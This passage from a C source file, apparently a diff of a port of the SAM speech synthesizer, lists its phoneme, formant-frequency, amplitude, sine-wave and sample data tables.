0x00, 0x04, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - -//tab45616??? -const unsigned char phonemeStressedLengthTable[] = { - 0x00, 0x12, 0x12, 0x12, 8, 0xB, 9, 0xB, 0xE, 0xF, 0xB, 0x10, 0xC, 6, 6, 0xE, - 0xC, 0xE, 0xC, 0xB, 8, 8, 0xB, 0xA, 9, 8, 8, 8, 8, 8, 3, 5, - 2, 2, 2, 2, 2, 2, 6, 6, 8, 6, 6, 2, 9, 4, 2, 1, - 0xE, 0xF, 0xF, 0xF, 0xE, 0xE, 8, 2, 2, 7, 2, 1, 7, 2, 2, 7, - 2, 2, 8, 2, 2, 6, 2, 2, 7, 2, 4, 7, 1, 4, 5, 5}; - -//tab45536??? -const unsigned char phonemeLengthTable[] = { - 0, 0x12, 0x12, 0x12, 8, 8, 8, 8, 8, 0xB, 6, 0xC, 0xA, 5, 5, 0xB, 0xA, 0xA, 0xA, 9, - 8, 7, 9, 7, 6, 8, 6, 7, 7, 7, 2, 5, 2, 2, 2, 2, 2, 2, 6, 6, - 7, 6, 6, 2, 8, 3, 1, 0x1E, 0xD, 0xC, 0xC, 0xC, 0xE, 9, 6, 1, 2, 5, 1, 1, - 6, 1, 2, 6, 1, 2, 8, 2, 2, 4, 2, 2, 6, 1, 4, 6, 1, 4, 0xC7, 0xFF}; - -/* - - Ind | phoneme | flags | - -----|---------|----------| - 0 | * | 00000000 | - 1 | .* | 00000000 | - 2 | ?* | 00000000 | - 3 | ,* | 00000000 | - 4 | -* | 00000000 | - - VOWELS - 5 | IY | 10100100 | - 6 | IH | 10100100 | - 7 | EH | 10100100 | - 8 | AE | 10100100 | - 9 | AA | 10100100 | - 10 | AH | 10100100 | - 11 | AO | 10000100 | - 17 | OH | 10000100 | - 12 | UH | 10000100 | - 16 | UX | 10000100 | - 15 | ER | 10000100 | - 13 | AX | 10100100 | - 14 | IX | 10100100 | - - DIPHTONGS - 48 | EY | 10110100 | - 49 | AY | 10110100 | - 50 | OY | 10110100 | - 51 | AW | 10010100 | - 52 | OW | 10010100 | - 53 | UW | 10010100 | - - - 21 | YX | 10000100 | - 20 | WX | 10000100 | - 18 | RX | 10000100 | - 19 | LX | 10000100 | - 37 | /X | 01000000 | - 30 | DX | 01001000 | - - - 22 | WH | 01000100 | - - - VOICED CONSONANTS - 23 | R* | 01000100 | - 24 | L* | 01000100 | - 25 | W* | 01000100 | - 26 | Y* | 01000100 | - 27 | M* | 01001100 | - 28 | N* | 01001100 | - 29 | NX | 01001100 | - 54 | B* | 01001110 | - 57 | D* | 01001110 | - 60 | G* | 01001110 | - 44 | J* | 01001100 | - 38 | Z* | 01000100 | - 39 | ZH | 01000100 | - 40 | V* | 01000100 | - 41 | DH | 01000100 | - - unvoiced CONSONANTS - 32 | S* | 01000000 | - 33 | SH | 01000000 | - 34 | F* | 01000000 | - 35 | TH | 01000000 | - 66 | P* | 01001011 | - 69 | T* | 01001011 | - 72 | K* | 01001011 | - 42 | CH | 01001000 | - 36 | /H | 01000000 | - - 43 | ** | 01000000 | - 45 | ** | 01000100 | - 46 | ** | 00000000 | - 47 | ** | 00000000 | - - - 55 | ** | 01001110 | - 56 | ** | 01001110 | - 58 | ** | 01001110 | - 59 | ** | 01001110 | - 61 | ** | 01001110 | - 62 | ** | 01001110 | - 63 | GX | 01001110 | - 64 | ** | 01001110 | - 65 | ** | 01001110 | - 67 | ** | 01001011 | - 68 | ** | 01001011 | - 70 | ** | 01001011 | - 71 | ** | 01001011 | - 73 | ** | 01001011 | - 74 | ** | 01001011 | - 75 | KX | 01001011 | - 76 | ** | 01001011 | - 77 | ** | 01001011 | - - - SPECIAL - 78 | UL | 10000000 | - 79 | UM | 11000001 | - 80 | UN | 11000001 | - 31 | Q* | 01001100 | - -*/ - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// RenderTabs -// -//////////////////////////////////////////////////////////////////////////////////////////// - -const unsigned char tab48426[5] = {0x18, 0x1A, 0x17, 0x17, 0x17}; - -const unsigned char tab47492[] = {0, 0, 0xE0, 0xE6, 0xEC, 0xF3, 0xF9, 0, 6, 0xC, 6}; - -const unsigned char amplitudeRescale[] = { - 0, - 1, - 2, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 6, - 8, - 9, - 0xB, - 0xD, - 0xF, - 0 //17 elements? -}; - -// Used to decide which phoneme's blend lengths. The candidate with the lower score is selected. -// tab45856 -const unsigned char blendRank[] = {0, 0x1F, 0x1F, 0x1F, 0x1F, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 5, 5, 2, 0xA, 2, 8, - 5, 5, 0xB, 0xA, 9, 8, 8, 0xA0, 8, 8, - 0x17, 0x1F, 0x12, 0x12, 0x12, 0x12, 0x1E, 0x1E, 0x14, 0x14, - 0x14, 0x14, 0x17, 0x17, 0x1A, 0x1A, 0x1D, 0x1D, 2, 2, - 2, 2, 2, 2, 0x1A, 0x1D, 0x1B, 0x1A, 0x1D, 0x1B, - 0x1A, 0x1D, 0x1B, 0x1A, 0x1D, 0x1B, 0x17, 0x1D, 0x17, 0x17, - 0x1D, 0x17, 0x17, 0x1D, 0x17, 0x17, 0x1D, 0x17, 0x17, 0x17}; - -// Number of frames at the end of a phoneme devoted to interpolating to next phoneme's final value -//tab45696 -const unsigned char outBlendLength[] = {0, 2, 2, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 3, 2, 4, 4, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 2, 2, 2, 1, 0, 1, 0, 1, 0, 5, - 5, 5, 5, 5, 4, 4, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, - 0, 1, 2, 0, 2, 2, 0, 1, 3, 0, 2, 3, 0, 2, 0xA0, 0xA0}; - -// Number of frames at beginning of a phoneme devoted to interpolating to phoneme's final value -// tab45776 -const unsigned char inBlendLength[] = {0, 2, 2, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 3, 3, 4, 4, 3, 3, 3, 3, 3, 1, 2, 3, 2, 1, - 3, 3, 3, 3, 1, 1, 3, 3, 3, 2, 2, 3, 2, 3, 0, 0, - 5, 5, 5, 5, 4, 4, 2, 0, 2, 2, 0, 3, 2, 0, 4, 2, - 0, 3, 2, 0, 2, 2, 0, 2, 3, 0, 3, 3, 0, 3, 0xB0, 0xA0}; - -// Looks like it's used as bit flags -// High bits masked by 248 (11111000) -// -// 32: S* 241 11110001 -// 33: SH 226 11100010 -// 34: F* 211 11010011 -// 35: TH 187 10111011 -// 36: /H 124 01111100 -// 37: /X 149 10010101 -// 38: Z* 1 00000001 -// 39: ZH 2 00000010 -// 40: V* 3 00000011 -// 41: DH 3 00000011 -// 43: ** 114 01110010 -// 45: ** 2 00000010 -// 67: ** 27 00011011 -// 70: ** 25 00011001 -// tab45936 -const unsigned char sampledConsonantFlags[] = { - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xF1, 0xE2, 0xD3, 0xBB, 0x7C, 0x95, 1, 2, - 3, 3, 0, 0x72, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0x1B, 0, 0, 0x19, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - -//tab45056 -unsigned char freq1data[] = { - 0x00, 0x13, 0x13, 0x13, 0x13, 0xA, 0xE, 0x12, 0x18, 0x1A, 0x16, 0x14, 0x10, 0x14, 0xE, 0x12, - 0xE, 0x12, 0x12, 0x10, 0xC, 0xE, 0xA, 0x12, 0xE, 0xA, 8, 6, 6, 6, 6, 0x11, - 6, 6, 6, 6, 0xE, 0x10, 9, 0xA, 8, 0xA, 6, 6, 6, 5, 6, 0, - 0x12, 0x1A, 0x14, 0x1A, 0x12, 0xC, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 0xA, 0xA, 6, 6, 6, 0x2C, 0x13}; - -//tab451356 -unsigned char freq2data[] = {0x00, 0x43, 0x43, 0x43, 0x43, 0x54, 0x48, 0x42, 0x3E, 0x28, - 0x2C, 0x1E, 0x24, 0x2C, 0x48, 0x30, 0x24, 0x1E, 0x32, 0x24, - 0x1C, 0x44, 0x18, 0x32, 0x1E, 0x18, 0x52, 0x2E, 0x36, 0x56, - 0x36, 0x43, 0x49, 0x4F, 0x1A, 0x42, 0x49, 0x25, 0x33, 0x42, - 0x28, 0x2F, 0x4F, 0x4F, 0x42, 0x4F, 0x6E, 0x00, 0x48, 0x26, - 0x1E, 0x2A, 0x1E, 0x22, 0x1A, 0x1A, 0x1A, 0x42, 0x42, 0x42, - 0x6E, 0x6E, 0x6E, 0x54, 0x54, 0x54, 0x1A, 0x1A, 0x1A, 0x42, - 0x42, 0x42, 0x6D, 0x56, 0x6D, 0x54, 0x54, 0x54, 0x7F, 0x7F}; -//tab45216 -unsigned char freq3data[] = {0x00, 0x5B, 0x5B, 0x5B, 0x5B, 0x6E, 0x5D, 0x5B, 0x58, 0x59, - 0x57, 0x58, 0x52, 0x59, 0x5D, 0x3E, 0x52, 0x58, 0x3E, 0x6E, - 0x50, 0x5D, 0x5A, 0x3C, 0x6E, 0x5A, 0x6E, 0x51, 0x79, 0x65, - 0x79, 0x5B, 0x63, 0x6A, 0x51, 0x79, 0x5D, 0x52, 0x5D, 0x67, - 0x4C, 0x5D, 0x65, 0x65, 0x79, 0x65, 0x79, 0x00, 0x5A, 0x58, - 0x58, 0x58, 0x58, 0x52, 0x51, 0x51, 0x51, 0x79, 0x79, 0x79, - 0x70, 0x6E, 0x6E, 0x5E, 0x5E, 0x5E, 0x51, 0x51, 0x51, 0x79, - 0x79, 0x79, 0x65, 0x65, 0x70, 0x5E, 0x5E, 0x5E, 0x08, 0x01}; - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Reciter -// -//////////////////////////////////////////////////////////////////////////////////////////// - -unsigned char inputtemp[256]; // secure copy of input tab36096 - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Render -// -//////////////////////////////////////////////////////////////////////////////////////////// - -//timetable for more accurate c64 simulation -int timetable[5][5] = { - {162, 167, 167, 127, 128}, - {226, 60, 60, 0, 0}, - {225, 60, 59, 0, 0}, - {200, 0, 0, 54, 55}, - {199, 0, 0, 54, 54}}; - -unsigned oldtimetableindex; - -const unsigned char ampl1data[] = {0, 0, 0, 0, 0, 0xD, 0xD, 0xE, 0xF, 0xF, 0xF, 0xF, - 0xF, 0xC, 0xD, 0xC, 0xF, 0xF, 0xD, 0xD, 0xD, 0xE, 0xD, 0xC, - 0xD, 0xD, 0xD, 0xC, 9, 9, 0, 0, 0, 0, 0, 0, - 0, 0, 0xB, 0xB, 0xB, 0xB, 0, 0, 1, 0xB, 0, 2, - 0xE, 0xF, 0xF, 0xF, 0xF, 0xD, 2, 4, 0, 2, 4, 0, - 1, 4, 0, 1, 4, 0, 0, 0, 0, 0, 0, 0, - 0, 0xC, 0, 0, 0, 0, 0xF, 0xF}; - -const unsigned char ampl2data[] = { - 0, 0, 0, 0, 0, 0xA, 0xB, 0xD, 0xE, 0xD, 0xC, 0xC, 0xB, 9, 0xB, 0xB, 0xC, 0xC, 0xC, 8, - 8, 0xC, 8, 0xA, 8, 8, 0xA, 3, 9, 6, 0, 0, 0, 0, 0, 0, 0, 0, 3, 5, - 3, 4, 0, 0, 0, 5, 0xA, 2, 0xE, 0xD, 0xC, 0xD, 0xC, 8, 0, 1, 0, 0, 1, 0, - 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0xA, 0, 0, 0xA, 0, 0, 0}; - -const unsigned char ampl3data[] = {0, 0, 0, 0, 0, 8, 7, 8, 8, 1, 1, 0, 1, 0, 7, 5, - 1, 0, 6, 1, 0, 7, 0, 5, 1, 0, 8, 0, 0, 3, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0xE, 1, - 9, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 5, 0, 0x13, 0x10}; - -//tab42240 -const signed char sinus[256] = { - 0, 3, 6, 9, 12, 16, 19, 22, 25, 28, 31, 34, 37, 40, 43, 46, - 49, 51, 54, 57, 60, 63, 65, 68, 71, 73, 76, 78, 81, 83, 85, 88, - 90, 92, 94, 96, 98, 100, 102, 104, 106, 107, 109, 111, 112, 113, 115, 116, - 117, 118, 120, 121, 122, 122, 123, 124, 125, 125, 126, 126, 126, 127, 127, 127, - 127, 127, 127, 127, 126, 126, 126, 125, 125, 124, 123, 122, 122, 121, 120, 118, - 117, 116, 115, 113, 112, 111, 109, 107, 106, 104, 102, 100, 98, 96, 94, 92, - 90, 88, 85, 83, 81, 78, 76, 73, 71, 68, 65, 63, 60, 57, 54, 51, - 49, 46, 43, 40, 37, 34, 31, 28, 25, 22, 19, 16, 12, 9, 6, 3, - 0, -3, -6, -9, -12, -16, -19, -22, -25, -28, -31, -34, -37, -40, -43, -46, - -49, -51, -54, -57, -60, -63, -65, -68, -71, -73, -76, -78, -81, -83, -85, -88, - -90, -92, -94, -96, -98, -100, -102, -104, -106, -107, -109, -111, -112, -113, -115, -116, - -117, -118, -120, -121, -122, -122, -123, -124, -125, -125, -126, -126, -126, -127, -127, -127, - -127, -127, -127, -127, -126, -126, -126, -125, -125, -124, -123, -122, -122, -121, -120, -118, - -117, -116, -115, -113, -112, -111, -109, -107, -106, -104, -102, -100, -98, -96, -94, -92, - -90, -88, -85, -83, -81, -78, -76, -73, -71, -68, -65, -63, -60, -57, -54, -51, - -49, -46, -43, -40, -37, -34, -31, -28, -25, -22, -19, -16, -12, -9, -6, -3}; - -//tab42496 -const unsigned char rectangle[] = { - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70}; - -//random data ? -const unsigned char sampleTable[0x500] = { - //00 - - 0x38, - 0x84, - 0x6B, - 0x19, - 0xC6, - 0x63, - 0x18, - 0x86, - 0x73, - 0x98, - 0xC6, - 0xB1, - 0x1C, - 0xCA, - 0x31, - 0x8C, - 0xC7, - 0x31, - 0x88, - 0xC2, - 0x30, - 0x98, - 0x46, - 0x31, - 0x18, - 0xC6, - 0x35, - 0xC, - 0xCA, - 0x31, - 0xC, - 0xC6 - //20 - , - 0x21, - 0x10, - 0x24, - 0x69, - 0x12, - 0xC2, - 0x31, - 0x14, - 0xC4, - 0x71, - 8, - 0x4A, - 0x22, - 0x49, - 0xAB, - 0x6A, - 0xA8, - 0xAC, - 0x49, - 0x51, - 0x32, - 0xD5, - 0x52, - 0x88, - 0x93, - 0x6C, - 0x94, - 0x22, - 0x15, - 0x54, - 0xD2, - 0x25 - //40 - , - 0x96, - 0xD4, - 0x50, - 0xA5, - 0x46, - 0x21, - 8, - 0x85, - 0x6B, - 0x18, - 0xC4, - 0x63, - 0x10, - 0xCE, - 0x6B, - 0x18, - 0x8C, - 0x71, - 0x19, - 0x8C, - 0x63, - 0x35, - 0xC, - 0xC6, - 0x33, - 0x99, - 0xCC, - 0x6C, - 0xB5, - 0x4E, - 0xA2, - 0x99 - //60 - , - 0x46, - 0x21, - 0x28, - 0x82, - 0x95, - 0x2E, - 0xE3, - 0x30, - 0x9C, - 0xC5, - 0x30, - 0x9C, - 0xA2, - 0xB1, - 0x9C, - 0x67, - 0x31, - 0x88, - 0x66, - 0x59, - 0x2C, - 0x53, - 0x18, - 0x84, - 0x67, - 0x50, - 0xCA, - 0xE3, - 0xA, - 0xAC, - 0xAB, - 0x30 - //80 - , - 0xAC, - 0x62, - 0x30, - 0x8C, - 0x63, - 0x10, - 0x94, - 0x62, - 0xB1, - 0x8C, - 0x82, - 0x28, - 0x96, - 0x33, - 0x98, - 0xD6, - 0xB5, - 0x4C, - 0x62, - 0x29, - 0xA5, - 0x4A, - 0xB5, - 0x9C, - 0xC6, - 0x31, - 0x14, - 0xD6, - 0x38, - 0x9C, - 0x4B, - 0xB4 - //A0 - , - 0x86, - 0x65, - 0x18, - 0xAE, - 0x67, - 0x1C, - 0xA6, - 0x63, - 0x19, - 0x96, - 0x23, - 0x19, - 0x84, - 0x13, - 8, - 0xA6, - 0x52, - 0xAC, - 0xCA, - 0x22, - 0x89, - 0x6E, - 0xAB, - 0x19, - 0x8C, - 0x62, - 0x34, - 0xC4, - 0x62, - 0x19, - 0x86, - 0x63 - //C0 - , - 0x18, - 0xC4, - 0x23, - 0x58, - 0xD6, - 0xA3, - 0x50, - 0x42, - 0x54, - 0x4A, - 0xAD, - 0x4A, - 0x25, - 0x11, - 0x6B, - 0x64, - 0x89, - 0x4A, - 0x63, - 0x39, - 0x8A, - 0x23, - 0x31, - 0x2A, - 0xEA, - 0xA2, - 0xA9, - 0x44, - 0xC5, - 0x12, - 0xCD, - 0x42 - //E0 - , - 0x34, - 0x8C, - 0x62, - 0x18, - 0x8C, - 0x63, - 0x11, - 0x48, - 0x66, - 0x31, - 0x9D, - 0x44, - 0x33, - 0x1D, - 0x46, - 0x31, - 0x9C, - 0xC6, - 0xB1, - 0xC, - 0xCD, - 0x32, - 0x88, - 0xC4, - 0x73, - 0x18, - 0x86, - 0x73, - 8, - 0xD6, - 0x63, - 0x58 - //100 - , - 7, - 0x81, - 0xE0, - 0xF0, - 0x3C, - 7, - 0x87, - 0x90, - 0x3C, - 0x7C, - 0xF, - 0xC7, - 0xC0, - 0xC0, - 0xF0, - 0x7C, - 0x1E, - 7, - 0x80, - 0x80, - 0, - 0x1C, - 0x78, - 0x70, - 0xF1, - 0xC7, - 0x1F, - 0xC0, - 0xC, - 0xFE, - 0x1C, - 0x1F - //120 - , - 0x1F, - 0xE, - 0xA, - 0x7A, - 0xC0, - 0x71, - 0xF2, - 0x83, - 0x8F, - 3, - 0xF, - 0xF, - 0xC, - 0, - 0x79, - 0xF8, - 0x61, - 0xE0, - 0x43, - 0xF, - 0x83, - 0xE7, - 0x18, - 0xF9, - 0xC1, - 0x13, - 0xDA, - 0xE9, - 0x63, - 0x8F, - 0xF, - 0x83 - //140 - , - 0x83, - 0x87, - 0xC3, - 0x1F, - 0x3C, - 0x70, - 0xF0, - 0xE1, - 0xE1, - 0xE3, - 0x87, - 0xB8, - 0x71, - 0xE, - 0x20, - 0xE3, - 0x8D, - 0x48, - 0x78, - 0x1C, - 0x93, - 0x87, - 0x30, - 0xE1, - 0xC1, - 0xC1, - 0xE4, - 0x78, - 0x21, - 0x83, - 0x83, - 0xC3 - //160 - , - 0x87, - 6, - 0x39, - 0xE5, - 0xC3, - 0x87, - 7, - 0xE, - 0x1C, - 0x1C, - 0x70, - 0xF4, - 0x71, - 0x9C, - 0x60, - 0x36, - 0x32, - 0xC3, - 0x1E, - 0x3C, - 0xF3, - 0x8F, - 0xE, - 0x3C, - 0x70, - 0xE3, - 0xC7, - 0x8F, - 0xF, - 0xF, - 0xE, - 0x3C - //180 - , - 0x78, - 0xF0, - 0xE3, - 0x87, - 6, - 0xF0, - 0xE3, - 7, - 0xC1, - 0x99, - 0x87, - 0xF, - 0x18, - 0x78, - 0x70, - 0x70, - 0xFC, - 0xF3, - 0x10, - 0xB1, - 0x8C, - 0x8C, - 0x31, - 0x7C, - 0x70, - 0xE1, - 0x86, - 0x3C, - 0x64, - 0x6C, - 0xB0, - 0xE1 - //1A0 - , - 0xE3, - 0xF, - 0x23, - 0x8F, - 0xF, - 0x1E, - 0x3E, - 0x38, - 0x3C, - 0x38, - 0x7B, - 0x8F, - 7, - 0xE, - 0x3C, - 0xF4, - 0x17, - 0x1E, - 0x3C, - 0x78, - 0xF2, - 0x9E, - 0x72, - 0x49, - 0xE3, - 0x25, - 0x36, - 0x38, - 0x58, - 0x39, - 0xE2, - 0xDE - //1C0 - , - 0x3C, - 0x78, - 0x78, - 0xE1, - 0xC7, - 0x61, - 0xE1, - 0xE1, - 0xB0, - 0xF0, - 0xF0, - 0xC3, - 0xC7, - 0xE, - 0x38, - 0xC0, - 0xF0, - 0xCE, - 0x73, - 0x73, - 0x18, - 0x34, - 0xB0, - 0xE1, - 0xC7, - 0x8E, - 0x1C, - 0x3C, - 0xF8, - 0x38, - 0xF0, - 0xE1 - //1E0 - , - 0xC1, - 0x8B, - 0x86, - 0x8F, - 0x1C, - 0x78, - 0x70, - 0xF0, - 0x78, - 0xAC, - 0xB1, - 0x8F, - 0x39, - 0x31, - 0xDB, - 0x38, - 0x61, - 0xC3, - 0xE, - 0xE, - 0x38, - 0x78, - 0x73, - 0x17, - 0x1E, - 0x39, - 0x1E, - 0x38, - 0x64, - 0xE1, - 0xF1, - 0xC1 - //200 - , - 0x4E, - 0xF, - 0x40, - 0xA2, - 2, - 0xC5, - 0x8F, - 0x81, - 0xA1, - 0xFC, - 0x12, - 8, - 0x64, - 0xE0, - 0x3C, - 0x22, - 0xE0, - 0x45, - 7, - 0x8E, - 0xC, - 0x32, - 0x90, - 0xF0, - 0x1F, - 0x20, - 0x49, - 0xE0, - 0xF8, - 0xC, - 0x60, - 0xF0 - //220 - , - 0x17, - 0x1A, - 0x41, - 0xAA, - 0xA4, - 0xD0, - 0x8D, - 0x12, - 0x82, - 0x1E, - 0x1E, - 3, - 0xF8, - 0x3E, - 3, - 0xC, - 0x73, - 0x80, - 0x70, - 0x44, - 0x26, - 3, - 0x24, - 0xE1, - 0x3E, - 4, - 0x4E, - 4, - 0x1C, - 0xC1, - 9, - 0xCC - //240 - , - 0x9E, - 0x90, - 0x21, - 7, - 0x90, - 0x43, - 0x64, - 0xC0, - 0xF, - 0xC6, - 0x90, - 0x9C, - 0xC1, - 0x5B, - 3, - 0xE2, - 0x1D, - 0x81, - 0xE0, - 0x5E, - 0x1D, - 3, - 0x84, - 0xB8, - 0x2C, - 0xF, - 0x80, - 0xB1, - 0x83, - 0xE0, - 0x30, - 0x41 - //260 - , - 0x1E, - 0x43, - 0x89, - 0x83, - 0x50, - 0xFC, - 0x24, - 0x2E, - 0x13, - 0x83, - 0xF1, - 0x7C, - 0x4C, - 0x2C, - 0xC9, - 0xD, - 0x83, - 0xB0, - 0xB5, - 0x82, - 0xE4, - 0xE8, - 6, - 0x9C, - 7, - 0xA0, - 0x99, - 0x1D, - 7, - 0x3E, - 0x82, - 0x8F - //280 - , - 0x70, - 0x30, - 0x74, - 0x40, - 0xCA, - 0x10, - 0xE4, - 0xE8, - 0xF, - 0x92, - 0x14, - 0x3F, - 6, - 0xF8, - 0x84, - 0x88, - 0x43, - 0x81, - 0xA, - 0x34, - 0x39, - 0x41, - 0xC6, - 0xE3, - 0x1C, - 0x47, - 3, - 0xB0, - 0xB8, - 0x13, - 0xA, - 0xC2 - //2A0 - , - 0x64, - 0xF8, - 0x18, - 0xF9, - 0x60, - 0xB3, - 0xC0, - 0x65, - 0x20, - 0x60, - 0xA6, - 0x8C, - 0xC3, - 0x81, - 0x20, - 0x30, - 0x26, - 0x1E, - 0x1C, - 0x38, - 0xD3, - 1, - 0xB0, - 0x26, - 0x40, - 0xF4, - 0xB, - 0xC3, - 0x42, - 0x1F, - 0x85, - 0x32 - //2C0 - , - 0x26, - 0x60, - 0x40, - 0xC9, - 0xCB, - 1, - 0xEC, - 0x11, - 0x28, - 0x40, - 0xFA, - 4, - 0x34, - 0xE0, - 0x70, - 0x4C, - 0x8C, - 0x1D, - 7, - 0x69, - 3, - 0x16, - 0xC8, - 4, - 0x23, - 0xE8, - 0xC6, - 0x9A, - 0xB, - 0x1A, - 3, - 0xE0 - //2E0 - , - 0x76, - 6, - 5, - 0xCF, - 0x1E, - 0xBC, - 0x58, - 0x31, - 0x71, - 0x66, - 0, - 0xF8, - 0x3F, - 4, - 0xFC, - 0xC, - 0x74, - 0x27, - 0x8A, - 0x80, - 0x71, - 0xC2, - 0x3A, - 0x26, - 6, - 0xC0, - 0x1F, - 5, - 0xF, - 0x98, - 0x40, - 0xAE - //300 - , - 1, - 0x7F, - 0xC0, - 7, - 0xFF, - 0, - 0xE, - 0xFE, - 0, - 3, - 0xDF, - 0x80, - 3, - 0xEF, - 0x80, - 0x1B, - 0xF1, - 0xC2, - 0, - 0xE7, - 0xE0, - 0x18, - 0xFC, - 0xE0, - 0x21, - 0xFC, - 0x80, - 0x3C, - 0xFC, - 0x40, - 0xE, - 0x7E - //320 - , - 0, - 0x3F, - 0x3E, - 0, - 0xF, - 0xFE, - 0, - 0x1F, - 0xFF, - 0, - 0x3E, - 0xF0, - 7, - 0xFC, - 0, - 0x7E, - 0x10, - 0x3F, - 0xFF, - 0, - 0x3F, - 0x38, - 0xE, - 0x7C, - 1, - 0x87, - 0xC, - 0xFC, - 0xC7, - 0, - 0x3E, - 4 - //340 - , - 0xF, - 0x3E, - 0x1F, - 0xF, - 0xF, - 0x1F, - 0xF, - 2, - 0x83, - 0x87, - 0xCF, - 3, - 0x87, - 0xF, - 0x3F, - 0xC0, - 7, - 0x9E, - 0x60, - 0x3F, - 0xC0, - 3, - 0xFE, - 0, - 0x3F, - 0xE0, - 0x77, - 0xE1, - 0xC0, - 0xFE, - 0xE0, - 0xC3 - //360 - , - 0xE0, - 1, - 0xDF, - 0xF8, - 3, - 7, - 0, - 0x7E, - 0x70, - 0, - 0x7C, - 0x38, - 0x18, - 0xFE, - 0xC, - 0x1E, - 0x78, - 0x1C, - 0x7C, - 0x3E, - 0xE, - 0x1F, - 0x1E, - 0x1E, - 0x3E, - 0, - 0x7F, - 0x83, - 7, - 0xDB, - 0x87, - 0x83 - //380 - , - 7, - 0xC7, - 7, - 0x10, - 0x71, - 0xFF, - 0, - 0x3F, - 0xE2, - 1, - 0xE0, - 0xC1, - 0xC3, - 0xE1, - 0, - 0x7F, - 0xC0, - 5, - 0xF0, - 0x20, - 0xF8, - 0xF0, - 0x70, - 0xFE, - 0x78, - 0x79, - 0xF8, - 2, - 0x3F, - 0xC, - 0x8F, - 3 - //3a0 - , - 0xF, - 0x9F, - 0xE0, - 0xC1, - 0xC7, - 0x87, - 3, - 0xC3, - 0xC3, - 0xB0, - 0xE1, - 0xE1, - 0xC1, - 0xE3, - 0xE0, - 0x71, - 0xF0, - 0, - 0xFC, - 0x70, - 0x7C, - 0xC, - 0x3E, - 0x38, - 0xE, - 0x1C, - 0x70, - 0xC3, - 0xC7, - 3, - 0x81, - 0xC1 - //3c0 - , - 0xC7, - 0xE7, - 0, - 0xF, - 0xC7, - 0x87, - 0x19, - 9, - 0xEF, - 0xC4, - 0x33, - 0xE0, - 0xC1, - 0xFC, - 0xF8, - 0x70, - 0xF0, - 0x78, - 0xF8, - 0xF0, - 0x61, - 0xC7, - 0, - 0x1F, - 0xF8, - 1, - 0x7C, - 0xF8, - 0xF0, - 0x78, - 0x70, - 0x3C - //3e0 - , - 0x7C, - 0xCE, - 0xE, - 0x21, - 0x83, - 0xCF, - 8, - 7, - 0x8F, - 8, - 0xC1, - 0x87, - 0x8F, - 0x80, - 0xC7, - 